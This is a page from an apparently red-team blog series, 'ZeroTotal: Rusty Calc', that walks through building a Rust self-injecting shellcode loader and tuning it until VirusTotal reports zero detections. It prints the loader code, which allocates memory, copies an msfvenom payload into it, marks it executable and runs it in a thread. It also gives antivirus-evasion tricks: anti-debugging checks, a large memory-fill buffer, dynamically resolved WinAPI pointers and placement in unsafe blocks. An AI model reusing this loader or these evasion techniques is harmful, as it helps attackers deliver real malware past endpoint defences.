💀
0xTriboulet
  • Introduction
  • Achieving Access
    • achieving access: implantv1
    • achieving access: implantv2
    • achieving access: implantv3
  • Deceiving Defender
    • Deceiving Defender: Making nc.exe viable again
    • Deceiving Defender: Classic Bypass
    • Deceiving Defender: Name Bypass
    • Deceiving Defender: The Texas Two Step
    • Deceiving Defender: The Big Stack Bypass
      • Making Meterpreter Viable Again
    • Deceiving Defender: Meterpreter
  • Making Malware
    • making malware #0
    • making malware #1
    • making malware #2
  • Just Malicious
    • Advanced String Obfuscation
    • From C, with inline assembly, to shellcode
    • Thnks4RWX
  • TTPs
    • TTPs: Embedding Payloads with MSFVenom (x86)
    • TTPs: Embedding Payloads with MSFVenom (x64)
    • TTPs: Rust vs C++
    • TTPs: JmpNoCall
    • TTPs: BadAsm
    • TTPs: BadStrings
  • Unholy Unhooking
    • Unholy Unhooking: byoDLL
    • Unholy Unhooking: FrByoDLL
    • Unholy Unhooking: Rusty Fart
  • Weird Windows
    • Command Hijacking with .COM
    • Non-Existent File Paths
  • ZeroTotal
    • ZeroTotal: Msfvenom Calc
    • ZeroTotal: Self-Injecting Calc
    • ZeroTotal: Rusty Calc
  • Disclaimers
Powered by GitBook
On this page
  • Part One: Introduction
  • Part Two: The Code
  • Part Three: Going a little bit further
  • Part Four: Conclusion
  • References
  1. ZeroTotal

ZeroTotal: Rusty Calc

The quest to achieve an undetectable self-injecting calc implant using Rust

Part One: Introduction

We've spent the past couple of weeks investigating the use of malicious code implemented in Rust to bypass AV engines. We've been very successful in achieving malicious code execution with fairly little effort so it only makes sense to take to next level and achieve 0-total detections on VirusTotal.

Part Two: The Code

We start with a pretty standard self-injecting implant implemented in rust. The code is below.

Note: In this implementation we're primiarily using a standard MSFVenom payload.

// Self-Injecting Rust Implant, using windows_sys crate
// by 0xTriboulet
use std::process;
use std::ffi::c_void;
use windows_sys::Win32::Foundation::HANDLE;
use windows_sys::Win32::Foundation::GetLastError;
use windows_sys::Win32::Security::SECURITY_ATTRIBUTES;
use windows_sys::Win32::System::LibraryLoader::{GetModuleHandleA,GetProcAddress};
use windows_sys::Win32::System::Threading::{CreateThread,WaitForSingleObject,LPTHREAD_START_ROUTINE,THREAD_CREATION_FLAGS};
use windows_sys::Win32::System::Memory::{VirtualAlloc,VirtualProtectMEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ, PAGE_PROTECTION_FLAGS};
use std::ptr;
type DWORD = u32;
#[allow(non_snake_case)]
fn main(){
    //msfvenom -p windows/x64/exec CMD="calc.exe"
    let payload : [u8;276] = […snip…];
    let buffer;
    let buffer_size = 1000000000;
    unsafe {
      buffer = libc::malloc(buffer_size);
      libc::memset(buffer, 69, buffer_size);
    };
    if  true {
    // allocate memory
      unsafe{
        let base_addr: *mut c_void= VirtualAlloc(
            ptr::null_mut(),
            payload.len().try_into().unwrap(),
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
        );
    
        if base_addr.is_null() { 
            println!("[-] Couldn't allocate memory to current proc.")
        }
    
        // copy memory
        std::ptr::copy(payload.as_ptr() as  _, base_addr, payload.len());
        let mut old_protect: DWORD = PAGE_READWRITE;
        
        //make memory executable
        let virtual_protect = VirtualProtect (
            base_addr,
            payload.len() as usize,
            PAGE_EXECUTE_READ,
            &mut old_protect
        );
        if virtual_protect.is_null() {
            let error = GetLastError();
            println!("[-] Error: {}", error.to_string());
            process::exit(0x01);
        }
        
        //create thread
        let mut tid = 0;
        let ep: extern "system" fn(*mut c_void) -> u32 = { std::mem::transmute(base_addr) };
        let h_thread = CreateThread(
            ptr::null_mut(),
            0,
            Some(ep),
            ptr::null_mut(),
            0,
            &mut tid
        );
        if h_thread == 0 {
            let error = GetLastError();
            println!("{}", error.to_string())
        
        }
        
        let status = WaitForSingleObject(h_thread, u32::MAX);
        if status != 0 {
            let error = GetLastError();
            println!("{}", error.to_string())
        }
        libc::free(buffer);
      }
    }
}

We receive some very encouraging results and only receive 4 detections!

Lets use the custom calc payload that we developed a couple of weeks ago and see if we get better results.

That change gets us down to 3 detections!

Here I decided to implement some anti-debugging techniques but results were mixed. I couldn't consistently evade less than three. I left the anti-debugging code in the final product, but it wasn't very useful in this case:

    unsafe {
      buffer = libc::malloc(buffer_size);
      libc::memset(buffer, 69, buffer_size);
    };
    if unsafe {IsDebuggerPresent()} == 0 && !buffer.is_null(){

At this point I decided to try something. If we look back on our self-injecting calc executable, we remember that if we compile our binary dynamically, we are likely to get better results. Additionally, we turn off optimizations to facilitate ensure the compiler does not optimize away our obfuscation techniques We can combine that knowledge with our knowledge of WinAPI pointers and implement them in Rust like so:

type VirtualAllocFn = unsafe extern "system" fn(*const c_void, usize, u32, u32) -> *mut c_void;
let _pVirtualAlloc = GetProcAddress(GetModuleHandleA(sKernel32.as_ptr()), sVirtualAlloc.as_ptr()).unwrap();
let pVirtualAlloc: VirtualAllocFn = std::mem::transmute(_pVirtualAlloc);
let base_addr: *mut c_void= pVirtualAlloc(
  ptr::null_mut(),
  payload.len().try_into().unwrap(),
  MEM_COMMIT | MEM_RESERVE,
  PAGE_READWRITE
);

If we implement WinAPI pointers for VirtualAlloc, VirtualProtect, and CreateThread we get pretty good results, even if we use a standard MSFvenom payload!

Now if we implement instead use our custom calc payload, we achieve 0-total!

Part Three: Going a little bit further

There's something I noticed during this writeup that's worth mentioning: moving our payload into an unsafe block of code makes it less detectable! In the scan below we used a standard MSFVenom calc payload combined with the anti-debugging techniques and WinAPI pointers described above. But in this case, the MSFVenom payload is enclosed in an "unsafe" block of code.

This technique is so effective, that we can turn off our anti debugging, and simply place a standard msfvenom calc in a block of code marked as "unsafe" and we can achieve 0 detections using WinAPI pointers alone!

Code:

Results:

Part Four: Conclusion

In this writeup, we discovered an easy bypass to achieve undetectability on VirusTotal through the use of WinAPI pointers and unsafe code blocks. Anti-debugging techniques provided less protection against AV engines than we have previously seen.

The novelty of Rust malware, and the differences in memory management create a significantly different set of behavior in Rust binaries that AV engines do not seem well prepared to detect. Additionally, unsafe code blocks proved especially effective at making payloads less detectable.

As always, the final version of my evasion code can be found on my GitHub.

References

PreviousZeroTotal: Self-Injecting CalcNextDisclaimers

Last updated 1 year ago

ZeroTotal/rusty-calc at main · 0xTriboulet/ZeroTotalGitHub
windows_sys - Rust
GitHub - trickster0/OffensiveRust: Rust Weaponization for Red Team Engagements.GitHub
Logo
Logo
Page cover image
https://www.virustotal.com/gui/file/4736930089c0c61bc5ffd031825d7b249a6b0518e5d0d8786bad841cd5c0f61d?nocache=1
https://www.virustotal.com/gui/file/5f43cf285058daab7baeec831c70a704b2ed4b9c402b919dce3fc3b4ce1dcc17?nocache=1
https://www.virustotal.com/gui/file/0897aef14126dbe00ba4cf78988e265ee2ac7d23ce8952b66fdadca7b36039c6?nocache=1
https://www.virustotal.com/gui/file/1ab9302d0e42a37dfb68cc4c56bfd9a593a9f644232b3ca2d161c54b43ee4f1b/details
Logo